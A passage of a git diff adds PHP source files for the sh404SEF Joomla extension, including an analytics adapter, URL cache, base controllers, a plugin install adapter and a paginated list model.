+ } + + // return response + $response->analyticsData = $rawResponse; + + // attach html select list or input boxes to response, to allow user to filter the data viewed + $response->filters = $this->_prepareFilters(); + + // update date/time display + $response->statusMessage = JText::sprintf('COM_SH404SEF_UPDATED_ON', strftime('%c')); + + return $response; + } + + protected function _fetchData() + { + + // first try to connect, if we don't already have a token + $this->_getAuthToken(); + + // get the http client + $hClient = Sh404sefHelperAnalytics::getHttpClient(); + + // fetch account list from supplier + $this->_fetchAccountsList(); + + // and find about which one to use (use first one is none selected from a previous request + //if (empty($this->_options['accountId'])) + //{ + $this->_options['accountId'] = Sh404sefHelperAnalytics::getDefaultAccountId($this->_accounts); + //} + + // check in case we don' have valid account ID + if (empty($this->_options['accountId'])) + { + throw new Sh404sefExceptionDefault('Empty account ID to query analytics API. Contact admin.'); + } + + // create a report object + $className = 'Sh404sefAdapterAnalytics' . strtolower($this->_config->analyticsType) . 'report' . strtolower($this->_options['report']); + $report = new $className(); + + // ask it to perform API requests as needed, + $dataResponse = $report->fetchData($this->_config, $this->_options, $this->_Auth, $this->_endPoint, $this->_getAppKey()); + + // return data response for further processing + return $dataResponse; + + } + + /** + * Fetch list of accounts, to be overloaded + */ + protected function _fetchAccountsList() + { + + } + + /** + * Cache authorization token + */ + protected function _getAuthToken() + { + + // create cache Id and get cache object + $cacheId = md5($this->_config->analyticsPassword . $this->_config->analyticsUser . 'sdfhk546548-(}=])))'); + + $cache = JFactory::getCache('sh404sef_analytics_auth'); + $cache->setLifetime(10080); // cache result for 7 days + $cache->setCaching(1); // force caching on + + $this->_Auth = $cache->get(array($this, 'doGetAuthToken'), $args = array(), $cacheId); + + } + + /** + * performs actuall request to get token + */ + public function doGetAuthToken() + { + + $this->_prepareConnectRequest(); + $connectReponse = $this->_connect(); + $this->_handleConnectResponse($connectReponse); + + return $this->_Auth; + } + + /** + * Connects to analytics supplier + * + * Meant to be overloaded by adapter + * + * @param $config , sef config object, holding connecton parameters + */ + protected function _connect() + { + + // get the http client + $hClient = Sh404sefHelperAnalytics::getHttpClient(); + + // establish connection with available methods + $adapters = array('Zendshl_Http_Client_Adapter_Curl', 'Zendshl_Http_Client_Adapter_Socket'); + $rawResponse = null; + + // perform connect request + foreach ($adapters as $adapter) + { + try + { + $hClient->setAdapter($adapter); + $rawResponse = $hClient->request(); + break; + } + catch (Exception $e) + { + // we failed, let's try another method + } + } + + // return if error + if (empty($rawResponse)) + { + $msg = 'unknown code'; + ShlSystem_Log::debug( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, JText::sprintf('COM_SH404SEF_ERROR_CHECKING_ANALYTICS', $msg)); + throw new Sh404sefExceptionDefault(JText::sprintf('COM_SH404SEF_ERROR_CHECKING_ANALYTICS', $msg)); + } + if (!is_object($rawResponse) || $rawResponse->isError()) + { + $msg = method_exists($rawResponse, 'getStatus') ? $rawResponse->getStatus() : 'unknown code'; + ShlSystem_Log::debug( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, JText::sprintf('COM_SH404SEF_ERROR_CHECKING_ANALYTICS', $msg)); + throw new Sh404sefExceptionDefault(JText::sprintf('COM_SH404SEF_ERROR_CHECKING_ANALYTICS', $msg)); + } + + // success, return response + return $rawResponse; + + } + + /** + * Set client object to perform request + * for connection to analytics service + * + * To be oveloaded + */ + protected function _prepareConnectRequest() + { + + return true; + } + + /** + * Handle response from connect request + * + * To be overloaded + * + */ + protected function _handleConnectResponse($response) + { + return true; + } + + /** + * Check if user set parameters and request + * data allow inserting tracking snippet + */ + protected function _shouldInsertSnippet() + { + // get config + $config = &Sh404sefFactory::getConfig(); + + // check if we have a tracking code, no need to insert snippet if no tracking code + if (empty($config->analyticsId) && ($config->analyticsEdition == 'ga' || $config->analyticsEdition == 'ga_and_uga')) + { + return false; + } + + if (empty($config->analyticsUgaId) && ($config->analyticsEdition == 'uga' || $config->analyticsEdition == 'ga_and_uga')) + { + return false; + } + + if (empty($config->analyticsGtmId) && $config->analyticsEdition == 'gtm') + { + return false; + } + + // check if we are set to include tracking code for current user + if (!sh404sefHelperGeneral::isInGroupList(JAccess::getGroupsByUser(JFactory::getUser()->id, $recursive = true), $config->analyticsUserGroups)) + { + return false; + } + // check if current IP is on exclusion list + if (!empty($config->analyticsExcludeIP)) + { + $ip = empty($_SERVER['REMOTE_ADDR']) ? '' : $_SERVER['REMOTE_ADDR']; + $exclude = Sh404sefHelperGeneral::checkIPList($ip, $config->analyticsExcludeIP); + if ($exclude) + { + return false; + } + } + + return true; + } + + protected function _prepareCommonHeaders() + { + } + + /** + * prepare html filters to allow user to select the way she likes + * to view reports + */ + protected function _prepareFilters() + { + // array to hold various filters + $filters = array(); + + return $filters; + } + + protected function _getAppKey() + { + static $_key = null; + + if (is_null($_key)) + { + $remoteConfig = Sh404sefHelperUpdates::getRemoteConfig($forced = false); + $keys = empty($remoteConfig->config['google_analytics_api_keys']) ? $this->_appKeys : $remoteConfig->config['google_analytics_api_keys']; + $_key = $keys[mt_rand(0, count($keys) - 1)]; + } + + return $_key; + + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/basecache.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/basecache.php new file mode 100644 index 00000000..bf0b85cd --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/basecache.php @@ -0,0 +1,102 @@ +_config = $config; + + } + + // fetch an URL from cache, return null if not found + public function getSefUrlFromCache( $nonSefUrl, & $sefUrl) { + + return sh404SEF_URLTYPE_NONE; + + } + + // fetch an URL from cache, return null if not found + public function getNonSefUrlFromCache( $sefUrl, & $nonSefUrl) { + + return sh404SEF_URLTYPE_NONE; + } + + public function addSefUrlToCache( $nonSefUrl, $sefUrl, $UrlType) { + + return null; + + } + + public function removeUrlFromCache( $nonSefUrlList) { + + return null; + + } + + public function purge() { + + return null; + + } + + + public function getCacheStats() { + + $cacheTotal = $this->_urlCacheMisses+$this->_urlCacheHits; + $out = 'Cache hits : '. $this->_urlCacheHits . " [".( !empty( $cacheTotal) ? (int)(100*$this->_urlCacheHits/$cacheTotal) . '%' : 'N/A') .']
    '; + $out .= 'Cache misses : '. $this->_urlCacheMisses . " [".( !empty( $cacheTotal) ? (int)(100*$this->_urlCacheMisses/$cacheTotal) . '%' : 'N/A'). ']
    '; + $out .= 'Cache total : '. $cacheTotal . '
    '; + $out .= 'Url added to cache : '. $this->_urlCacheCount . '
    '; + $out .= '


    Misses list'; + foreach($this->_urlCacheMissesList as $url) { + $out .= '
    '.$url.'

    '; + } + return $out; + } + + protected function _varExport( $cache, $start) { + + return false; + } + + + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/basecontroller.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/basecontroller.php new file mode 100644 index 00000000..cf1be349 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/basecontroller.php @@ -0,0 +1,157 @@ +enqueuemessage( $msg); + } + } + // Set the default view name in case it's missing + $viewName = JRequest::getWord('view'); + if (empty( $viewName)) { + JRequest::setVar( 'view', $this->_defaultView); + } + + $document =JFactory::getDocument(); + + $viewType = $document->getType(); + $viewName = JRequest::getCmd( 'view', $this->_defaultView); + $viewLayout = JRequest::getCmd( 'layout', $this->_defaultLayout ); + + $view = $this->getView( $viewName, $viewType, '', array( 'base_path'=>$this->basePath)); + + // Get/Create the model + if ($model = $this->getModel($viewName)) { + // store initial context in model + $model->setContext( $this->_context); + + // Push the model into the view (as default) + $view->setModel($model, true); + + // and push also the default redirect + $view->defaultRedirectUrl = $this->_getDefaultRedirect( array( 'layout' => $viewLayout)); + + } + + // Set the layout + $view->setLayout($viewLayout); + + // push controller errors in the view + $error = $this->getError(); + if (!empty( $error)) { + $view->setError( $error); + } + + // Display the view + $view->display(); + + } + + /** + * Method implementing cancelling the list view + * Go back to dashboard + * + */ + public function dashboard() { + + // define where we want to go : dashboard ie all default values + $bits = array( 'c' => '', 'task' => '', 'view' => ''); + + // get there + $this->setRedirect( $this->_getDefaultRedirect( $bits)); + } + + /** + * Enqueue a series of messages in the application message + * queue, while JApplication::enqueuemessage will do it + * one at a time + * @param array of strings $msgs the messages + * @param string $msgType the message type (same for all messages in $msgs) + */ + public function enqueuemessages( $msgs, $msgType = null) { + + // nothing to do if no messages + if (empty( $msgs)) { + return; + } + + // get application + $app = JFactory::getApplication(); + + // loop messages and enqueue + foreach( $msgs as $msg) { + $app->enqueuemessage( $msg, $msgType); + } + } + + + /** + * Builds a (non routed) Joomla url according to default values + * of controller, task, view and layout + * + * @param array $userVars optional set of variables to override default vars, or add more to url + * @return string the target url, not routed + */ + protected function _getDefaultRedirect( $userVars = array()) { + + // get default values of the controller + $defaultVars = array( 'c' => $this->_returnController, 'layout' => $this->_returnLayout, 'view' => $this->_returnView, 'task' => $this->_returnTask); + + // override default vars with user defined vars + $vars = array_merge( $defaultVars, $userVars); + + // strip empty vars + foreach( $vars as $key => $value) { + if ($value == '') { + unset( $vars[$key]); + } + } + + return Sh404sefHelperUrl::buildUrl( $vars); + } + + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/baseeditcontroller.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/baseeditcontroller.php new file mode 100644 index 00000000..f8100bda --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/baseeditcontroller.php @@ -0,0 +1,213 @@ +_defaultView); + } + + $document =JFactory::getDocument(); + + $viewType = $document->getType(); + $viewName = JRequest::getCmd( 'view'); + $this->_editView = $viewName; + $viewLayout = JRequest::getCmd( 'layout', $this->_defaultLayout ); + + $view = $this->getView( $viewName, $viewType, '', array( 'base_path'=>$this->basePath)); + + // Get/Create the model + if ($model = $this->getModel($viewName)) { + // store initial context in model + $model->setContext( $this->_context); + + // if we have some stored data from a previous attempt at editing + // that failed because of validation, then push saved data into + // the model, to redisplay it for user to fix or cancel + if (!is_null($this->_editData)) { + $model->setData( $this->_editData); + } + + // Push the model into the view (as default) + $view->setModel($model, true); + + // and push also the default redirect + $view->defaultRedirectUrl = $this->_getDefaultRedirect(); + + } + + // Set the layout + $view->setLayout($viewLayout); + + // push controller errors in the view + $error = $this->getError(); + if (!empty( $error)) { + $view->setError( $error); + } + + // Display the view + $view->display(); + + } + + public function edit() { + + // hide the main menu + JRequest::setVar('hidemainmenu', 1); + + // find and store edited item id + $cid = JRequest::getVar('cid', array(0), 'default', 'array'); + $this->_id = $cid[0]; + + // let the base controller do the rest + $this->display(); + + } + + public function save() { + + // Check for request forgeries + JRequest::checkToken() or jexit( 'Invalid Token' ); + + // save incoming data + $this->_editData = JRequest::get('post'); + + // find and store edited item id + $this->_id = JRequest::getInt('id'); + + // perform saving of incoming data + $savedId = $this->_doSave( $this->_editData); + + // error ? + if (empty( $savedId)) { + // edit again with same data + $errorMsg = $this->getError(); + $errorMsg = empty( $errorMsg) ? $this->_getMessage( 'failure') : $errorMsg; + $this->setError( $errorMsg); + JRequest::setVar( 'c', $this->_editController); + JRequest::setVar( 'task', $this->_editTask); + JRequest::setVar( 'cid', array($this->_id)); + // in case of error, if this is an ajax call, + // we simply return the error to the caller + $isAjax = JRequest::getInt( 'shajax') == 1; + if(!$isAjax) { + // if not ajax, we edit again the same page + $this->edit(); + return false; + } + } + + // saved, no need to keep them + $this->_editData = null; + + // display response + $this->display(); + } + + public function apply() { + + // Check for request forgeries + JRequest::checkToken() or jexit( 'Invalid Token' ); + + // just an alias for save + $this->save(); + + } + + public function cancel() { + + // Check for request forgeries + JRequest::checkToken() or jexit( 'Invalid Token' ); + + $this->setRedirect( $this->_getDefaultRedirect(), $this->_getMessage( 'cancel')); + } + + protected function setId( $id) { + + $this->_id = $id; + + } + + protected function _getMessage( $type) { + + switch ($type) { + case 'success': + $msg = JText::_('COM_SH404SEF_ELEMENT_SAVED'); + break; + case 'failure': + $msg = JText::_('COM_SH404SEF_ELEMENT_NOT_SAVED'); + break; + case 'cancel': + $msg = JText::_('COM_SH404SEF_CANCELLED'); + break; + default: + $msg = ''; + break; + } + + return $msg; + + } + + protected function _doSave( $dataArray, $urlType = sh404SEF_URLTYPE_CUSTOM) { + + // get model + $model = $this->getModel( $this->_defaultView); + + // perform save operation + $savedId = $model->save( $dataArray, $urlType); + + // store error message + if (empty( $savedId)) { + $this->setError( $model->getError()); + } + + // return result + return $savedId; + + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/baseeditmodel.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/baseeditmodel.php new file mode 100644 index 00000000..843bff2a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/baseeditmodel.php @@ -0,0 +1,20 @@ +_option = $option; + $this->_optionNoCom = str_replace('com_', '', $this->_option); + $this->_config = $config; + $this->_pluginType = self::TYPE_NO_ROUTER; + + } + + public function getComponentType() { + + if(is_null( $this->_componentType)) { + switch ($this->_optionNoCom) { + // leave urls non-sef + case (in_array($this->_optionNoCom, $this->_config->skip)): + $this->_componentType = self::TYPE_SKIP; + break; + // use simple encoding + case (in_array($this->_optionNoCom, $this->_config->nocache)): + $this->_componentType = self::TYPE_SIMPLE; + break; + // default handler, full sef + default: + $this->_componentType = self::TYPE_DEFAULT; + break; + } + + // now validate that type: if required plugin is not available, + // we'll need to switch back to "simple + if($this->_componentType == self::TYPE_DEFAULT) { + $path = $this->getSefPluginPath(); + if(empty( $path)) { + $this->_componentType = self::TYPE_SIMPLE; + } + } + } + return $this->_componentType; + } + + public function getPluginType() { + + return $this->_pluginType; + + } + + public function getName() { + + return $this->_extName; + } + + public function getVersion() { + + return $this->_version; + } + + public function getSefPluginPath( $nonSefVars = array()) { + + if(is_null( $this->_sefPluginPath)) { + $this->_findSefPluginPath( $nonSefVars); + } + + return $this->_sefPluginPath; + } + + public function getMetaPluginPath( $nonSefUrl = '') { + + if(is_null( $this->_metaPluginPath)) { + $this->_findMetaPluginPath( $nonSefUrl); + } + + return $this->_metaPluginPath; + + } + + + protected function _findSefPluginPath( $nonSefVars = array()) { + + $this->_sefPluginPath = ''; + + } + + protected function _findMetaPluginPath( $nonSefUrl = '') { + + $this->_metaPluginPath = ''; + + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/baseinstalladapter.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/baseinstalladapter.php new file mode 100644 index 00000000..66bd5e1f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/baseinstalladapter.php @@ -0,0 +1,450 @@ +_basePath = JPATH_ROOT . '/' . 'plugins'; + } + + /** + * Custom install method + * + * @access public + * @return boolean True on success + * @since 1.5 + */ + public function install() + { + + // set our target path + $this->parent->setPath( 'extension_root', $this->_getPath()); + + // Get a database connector object + $db = $this->parent->getDbo(); + + // Get the extension manifest object + $this->manifest = $this->parent->getManifest(); + + $xml = $this->manifest; + + /** + * --------------------------------------------------------------------------------------------- + * Manifest Document Setup Section + * --------------------------------------------------------------------------------------------- + */ + + // Set the extensions name + $name = (string)$xml->name; + $name = JFilterInput::getInstance()->clean($name, 'string'); + $this->set('name', $name); + + // Get the component description + $description = (string)$xml->description; + if ($description) { + $this->parent->set('message', JText::_($description)); + } + else { + $this->parent->set('message', ''); + } + + /* + * Backward Compatability + * @todo Deprecate in future version + */ + $type = (string)$xml->attributes()->type; + $pname = $this->_getElement($xml); + + $group = $this->_group; + if ($type == $this->_installType && !empty( $pname)) { + $this->parent->setPath('extension_root', JPATH_PLUGINS. '/' .$group. '/' .$element); + } + else + { + $this->parent->abort(JText::sprintf('JLIB_INSTALLER_ABORT_PLG_INSTALL_NO_FILE', JText::_('JLIB_INSTALLER_'.$this->route))); + return false; + } + + + /* + * Check if we should enable overwrite settings + */ + // Check to see if a plugin by the same name is already installed + $query = 'SELECT `extension_id`' . + ' FROM `#__extensions`' . + ' WHERE folder = '.$db->Quote($group) . + ' AND element = '.$db->Quote($element); + $db->setQuery($query); + try { + $db->execute(); + } + catch(JException $e) + { + // Install failed, roll back changes + $this->parent->abort(JText::sprintf('JLIB_INSTALLER_ABORT_PLG_INSTALL_ROLLBACK', JText::_('JLIB_INSTALLER_'.$this->route), $db->stderr(true))); + return false; + } + $id = $db->loadResult(); + + // if its on the fs... + if (file_exists($this->parent->getPath('extension_root')) && (!$this->parent->isOverwrite() || $this->parent->isUpgrade())) + { + $updateElement = $xml->update; + // upgrade manually set + // update function available + // update tag detected + if ($this->parent->isUpgrade() || ($this->parent->manifestClass && method_exists($this->parent->manifestClass,'update')) || is_a($updateElement, 'JXMLElement')) + { + // force these one + $this->parent->setOverwrite(true); + $this->parent->setUpgrade(true); + if ($id) { // if there is a matching extension mark this as an update; semantics really + $this->route = 'update'; + } + } + else if (!$this->parent->isOverwrite()) + { + // overwrite is set + // we didn't have overwrite set, find an udpate function or find an update tag so lets call it safe + $this->parent->abort(JText::sprintf('JLIB_INSTALLER_ABORT_PLG_INSTALL_DIRECTORY', JText::_('JLIB_INSTALLER_'.$this->route), $this->parent->getPath('extension_root'))); + return false; + } + } + + /** + * --------------------------------------------------------------------------------------------- + * Installer Trigger Loading + * --------------------------------------------------------------------------------------------- + */ + // If there is an manifest class file, lets load it; we'll copy it later (don't have dest yet) + if ((string)$xml->scriptfile) + { + $manifestScript = (string)$xml->scriptfile; + $manifestScriptFile = $this->parent->getPath('source'). '/' .$manifestScript; + if (is_file($manifestScriptFile)) + { + // load the file + include_once $manifestScriptFile; + } + // Set the class name + $classname = 'plg'.$group.$element.'InstallerScript'; + if (class_exists($classname)) + { + // create a new instance + $this->parent->manifestClass = new $classname($this); + // and set this so we can copy it later + $this->set('manifest_script', $manifestScript); + // Note: if we don't find the class, don't bother to copy the file + } + } + + // run preflight if possible (since we know we're not an update) + ob_start(); + ob_implicit_flush(false); + if ($this->parent->manifestClass && method_exists($this->parent->manifestClass,'preflight')) + { + if($this->parent->manifestClass->preflight($this->route, $this) === false) + { + // Install failed, rollback changes + $this->parent->abort(JText::_('JLIB_INSTALLER_ABORT_PLG_INSTALL_CUSTOM_INSTALL_FAILURE')); + return false; + } + } + $msg = ob_get_contents(); // create msg object; first use here + ob_end_clean(); + + /** + * --------------------------------------------------------------------------------------------- + * Filesystem Processing Section + * --------------------------------------------------------------------------------------------- + */ + + // If the plugin directory does not exist, lets create it + $created = false; + if (!file_exists($this->parent->getPath('extension_root'))) + { + if (!$created = JFolder::create($this->parent->getPath('extension_root'))) + { + $this->parent->abort(JText::sprintf('JLIB_INSTALLER_ABORT_PLG_INSTALL_CREATE_DIRECTORY', JText::_('JLIB_INSTALLER_'.$this->route), $this->parent->getPath('extension_root'))); + return false; + } + } + + // if we're updating at this point when there is always going to be an extension_root find the old xml files + if($this->route == 'update') + { + // Hunt for the original XML file + $old_manifest = null; + $tmpInstaller = new JInstaller(); // create a new installer because findManifest sets stuff; side effects! + // look in the extension root + $tmpInstaller->setPath('source', $this->parent->getPath('extension_root')); + if ($tmpInstaller->findManifest()) + { + $old_manifest = $tmpInstaller->getManifest(); + $this->oldFiles = $old_manifest->files; + } + } + + /* + * If we created the plugin directory and will want to remove it if we + * have to roll back the installation, lets add it to the installation + * step stack + */ + if ($created) { + $this->parent->pushStep(array ('type' => 'folder', 'path' => $this->parent->getPath('extension_root'))); + } + + // Copy all necessary files + if ($this->parent->parseFiles($xml->files, -1, $this->oldFiles) === false) + { + // Install failed, roll back changes + $this->parent->abort(); + return false; + } + + // Parse optional tags -- media and language files for plugins go in admin app + $this->parent->parseMedia($xml->media, 1); + $this->parent->parseLanguages($xml->languages, 1); + + // If there is a manifest script, lets copy it. + if ($this->get('manifest_script')) + { + $path['src'] = $this->parent->getPath('source'). '/' .$this->get('manifest_script'); + $path['dest'] = $this->parent->getPath('extension_root'). '/' .$this->get('manifest_script'); + + if (!file_exists($path['dest'])) + { + if (!$this->parent->copyFiles(array ($path))) + { + // Install failed, rollback changes + $this->parent->abort(JText::sprintf('JLIB_INSTALLER_ABORT_PLG_INSTALL_MANIFEST', JText::_('JLIB_INSTALLER_'.$this->route))); + return false; + } + } + } + + /** + * --------------------------------------------------------------------------------------------- + * Database Processing Section + * --------------------------------------------------------------------------------------------- + */ + $row = JTable::getInstance('extension'); + // Was there a plugin already installed with the same name? + if ($id) + { + if (!$this->parent->isOverwrite()) + { + // Install failed, roll back changes + $this->parent->abort(JText::sprintf('JLIB_INSTALLER_ABORT_PLG_INSTALL_ALLREADY_EXISTS', JText::_('JLIB_INSTALLER_'.$this->route), $this->get('name'))); + return false; + } + $row->load($id); + $row->name = $this->get('name'); + $row->manifest_cache = $this->parent->generateManifestCache(); + $row->store(); // update the manifest cache and name + } + else + { + // Store in the extensions table (1.6) + $row->name = $this->get('name'); + $row->type = 'plugin'; + $row->ordering = 0; + $row->element = $element; + $row->folder = $group; + $row->enabled = 1; + $row->protected = 0; + $row->access = 1; + $row->client_id = 0; + $row->params = $this->parent->getParams(); + $row->custom_data = ''; // custom data + $row->system_data = ''; // system data + $row->manifest_cache = $this->parent->generateManifestCache(); + + // Editor plugins are published by default + if ($group == 'editors') { + $row->enabled = 1; + } + + if (!$row->store()) + { + // Install failed, roll back changes + $this->parent->abort(JText::sprintf('JLIB_INSTALLER_ABORT_PLG_INSTALL_ROLLBACK', JText::_('JLIB_INSTALLER_'.$this->route), $db->stderr(true))); + return false; + } + + // Since we have created a plugin item, we add it to the installation step stack + // so that if we have to rollback the changes we can undo it. + $this->parent->pushStep(array ('type' => 'extension', 'id' => $row->extension_id)); + $id = $row->extension_id; + } + + /* + * Let's run the queries for the module + * If Joomla 1.5 compatible, with discreet sql files - execute appropriate + * file for utf-8 support or non-utf-8 support + */ + // try for Joomla 1.5 type queries + // second argument is the utf compatible version attribute + if(strtolower($this->route) == 'install') { + $utfresult = $this->parent->parseSQLFiles($this->manifest->install->sql); + if ($utfresult === false) + { + // Install failed, rollback changes + $this->parent->abort(JText::sprintf('JLIB_INSTALLER_ABORT_PLG_INSTALL_SQL_ERROR', JText::_('JLIB_INSTALLER_'.$this->route), $db->stderr(true))); + return false; + } + + // Set the schema version to be the latest update version + if($this->manifest->update) { + $this->parent->setSchemaVersion($this->manifest->update->schemas, $row->extension_id); + } + } else if(strtolower($this->route) == 'update') { + if($this->manifest->update) + { + $result = $this->parent->parseSchemaUpdates($this->manifest->update->schemas, $row->extension_id); + if ($result === false) + { + // Install failed, rollback changes + $this->parent->abort(JText::sprintf('JLIB_INSTALLER_ABORT_PLG_UPDATE_SQL_ERROR', $db->stderr(true))); + return false; + } + } + } + + // Start Joomla! 1.6 + ob_start(); + ob_implicit_flush(false); + if ($this->parent->manifestClass && method_exists($this->parent->manifestClass,$this->route)) + { + if($this->parent->manifestClass->{$this->route}($this) === false) + { + // Install failed, rollback changes + $this->parent->abort(JText::_('JLIB_INSTALLER_ABORT_PLG_INSTALL_CUSTOM_INSTALL_FAILURE')); + return false; + } + } + $msg .= ob_get_contents(); // append messages + ob_end_clean(); + + /** + * --------------------------------------------------------------------------------------------- + * Finalization and Cleanup Section + * --------------------------------------------------------------------------------------------- + */ + + // Lastly, we will copy the manifest file to its appropriate place. + if (!$this->parent->copyManifest(-1)) + { + // Install failed, rollback changes + $this->parent->abort(JText::sprintf('JLIB_INSTALLER_ABORT_PLG_INSTALL_COPY_SETUP', JText::_('JLIB_INSTALLER_'.$this->route))); + return false; + } + // And now we run the postflight + ob_start(); + ob_implicit_flush(false); + if ($this->parent->manifestClass && method_exists($this->parent->manifestClass,'postflight')) + { + $this->parent->manifestClass->postflight($this->route, $this); + } + $msg .= ob_get_contents(); // append messages + ob_end_clean(); + if ($msg != '') { + $this->parent->set('extension_message', $msg); + } + return $id; + } + + /** + * Get unique element id for the plugin + * + */ + protected function _getElement( $xml) { + + static $_element = null; + + if( is_null( $_element)) { + // get name, should work for Joomsef, not sure for Aces, as + // I have seen some plugin with wrong filename attribute + // should use the "extension" field with acesef + if (count($xml->files->children())) + { + foreach ($xml->files->children() as $file) + { + $type = $this->_installType; + if ((string)$file->attributes()->$type) + { + $_element = (string)$file->attributes()->$type; + break; + } + } + } + + } + return $_element; + + } + + /** + * Get sub dir of given plugin, usually based on name + * of extension. Obtaining that name will vary based + * on the type of plugin + */ + protected function _getPath() { + + return $this->_basePath . '/' . $this->_group; + + } + + protected function _fixManifest() { + + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/baselistmodel.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/baselistmodel.php new file mode 100644 index 00000000..eedf7c6c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/baselistmodel.php @@ -0,0 +1,444 @@ +_updateContextData(); + + // Lets load the content if it doesn't already exist + if (is_null($this->_data)) { + + // get pagination values, and check them + $total = $this->getTotal($options); + $limitstart = is_null( $forcedLimitstart) ? $this->_getState( 'limitstart') : $forcedLimitstart; + if( !is_null( $forcedLimitstart) && $limitstart >= $total) { + $limitstart = 0; + $this->_setState( 'limitstart', 0); + } + $limit = is_null( $forcedLimit) ? $this->_getState( 'limit') : $forcedLimit; + + // don't allow display 'all' ie $limit = 0, and do sanity check + if (empty( $limit) || intval( $limit) > 500) { + $limit = 20; + $this->_setState( 'limit', $limit); + } + + // build the actual query + $query = $this->_buildListQuery( $options, $forcedLimitstart, $forcedLimit); + $this->_data = $this->_getList( $query); + //echo '
    ----------------------
    data query:
    ' . $query . '
    ----------- '. count( $this->_data).' -----------
    '; + if ($returnZeroElement && empty( $this->_data)) { + // create an empty record and return it + $zeroObject = JTable::getInstance( $this->_defaultTable, 'Sh404sefTable'); + return array( $zeroObject); + } + } + + return $this->_data; + } + + /** + * Method to get the total number of categories + * + * @access public + * @return integer + */ + public function getTotal( $options = null) { + + // make sure we use latest user state + $this->_updateContextData(); + + $options = is_null($options) ? new stdClass() : $options; + // Lets load the content if it doesn't already exist + if (is_null($this->_total)) { + $options->onlyCount = true; + $query = $this->_buildListQuery( $options); + $this->_total = $this->_getListCount( $query); + $options->onlyCount = false; + + } + + return $this->_total; + } + + /** + * Method to get a pagination object for the lists + * + * @access public + * @return integer + */ + public function getPagination( $options = null) { + + // make sure we use latest user state + $this->_updateContextData(); + + // Lets load the content if it doesn't already exist + if (empty($this->_pagination)) { + // get pagination values, and check them + $total = $this->getTotal($options); + $limitstart = $this->_getState( 'limitstart'); + $limit = $this->_getState( 'limit'); + + // create a pagination object + jimport('joomla.html.pagination'); + $this->_pagination = new JPagination( $total, $limitstart, $limit); + } + + return $this->_pagination; + } + + /** + * Gets alist of current filters and sort options which have + * been applied when building up the data + * + * @return object the list ov values as object properties + */ + public function getDisplayOptions() { + + $options = new stdClass(); + + // search string applied to either sef or non sef + $options->search_all = $this->_getState( 'search_all'); + // ordering column + $options->filter_order = $this->_getState( 'filter_order'); + // show all/only custom/only automatic + $options->filter_order_Dir = $this->_getState( 'filter_order_Dir'); + + // return cached instance + return $options; + } + + /** + * Set a display option for the current context + * + * @return mixed previous value of the property + */ + public function setDisplayOptions( $key, $value) { + + // read previous + $previous = $this->_getState( $key); + + // set new + $this->_setState( $key, $value); + + // return previous + return $previous; + } + + protected function _buildListQuery( $options, $forcedLimitstart = null, $forcedLimit = null) { + + // Collect the various parts of the query + $select = $this->_buildListSelect( $options); + $join = $this->_buildListJoin( $options); + $where = $this->_buildListWhere( $options); + $limit = $this->_buildListLimit( $options, $forcedLimitstart, $forcedLimit); + $orderBy = $this->_buildListOrderBy( $options); + $groupBy = $this->_buildListGroupBy( $options); + + // complete query + $query = $select . $join . $where . $groupBy; + + // wrap if combined queries + $query = $this->_buildListCombinedQuery( $query, $options); + + // add sorting + $query .= $orderBy; + + // limit number of items + $query .= $limit; + + return $query; + } + + + protected function _buildListSelect( $options) { + + // array to hold select clause parts + $select = array(); + + // get options + $select[] = ' select *'; + + // add from clause + $select[] = 'from ' . $this->_getTableName(); + + // aggregate clauses + $select = ( count( $select ) ? implode( ' ', $select ) : '' ); + + return $select; + } + + protected function _buildListJoin( $options) { + + // array to hold join clause parts + $join = array(); + + // aggregate clauses + $join = ( count( $join ) ? ' ' . implode( ' ', $join ) : '' ); + + return $join; + + } + + protected function _buildListWhere( $options) { + + // array to hold where clause parts + $where = array(); + + // aggregate clauses + $where = ( count( $where ) ? ' WHERE '. implode( ' AND ', $where ) : '' ); + + return $where; + } + + protected function _buildListLimit( $options, $forcedLimitstart = null, $forcedLimit = null) { + + // build query fragment + $limitString = ''; + + // get the layout options from param + $layout = $this->_getOption( 'layout', $options); + + // in some case, we only need a simple list of urls, with no + // additionnal date, pageids, aliases, etc + $simpleUrlList = $this->_getOption( 'simpleUrlList', $options, false); + + // various cases of layouts + switch ($layout) { + case 'view404': + default: + // build query fragment + $onlyCount = $this->_getOption( 'onlyCount', $options, false); + if (!$onlyCount) { + $limitstart = is_null( $forcedLimitstart) ? ( $this->_getState( 'limitstart')) : intval($forcedLimitstart); + $limit = is_null( $forcedLimit) ? intval( $this->_getState( 'limit')) : intval( $forcedLimit); + if(empty($limit) && empty( $limitstart)) { + $limitstring = ''; + } else { + $limitString = ' limit ' . $limitstart . ',' . $limit; + } + } + break; + } + + return $limitString; + } + + protected function _buildListGroupBy( $options) { + + // build query fragment + $groupBy = ''; + + return $groupBy; + } + + protected function _buildListOrderBy( $options) { + + // get set of filters applied to the current view + $filters = $this->getDisplayOptions(); + + // build query fragment + if(!empty($filters->filter_order)) { + $orderBy = ' order by ' . $this->_db->quoteName( $filters->filter_order); + $orderBy .= ' ' . $filters->filter_order_Dir; + } + + return $orderBy; + } + + protected function _buildListCombinedQuery( $query, $options) { + + return $query; + } + + /** + * Provides context data definition, to be used by context handler + * Should be overriden by descendant + */ + protected 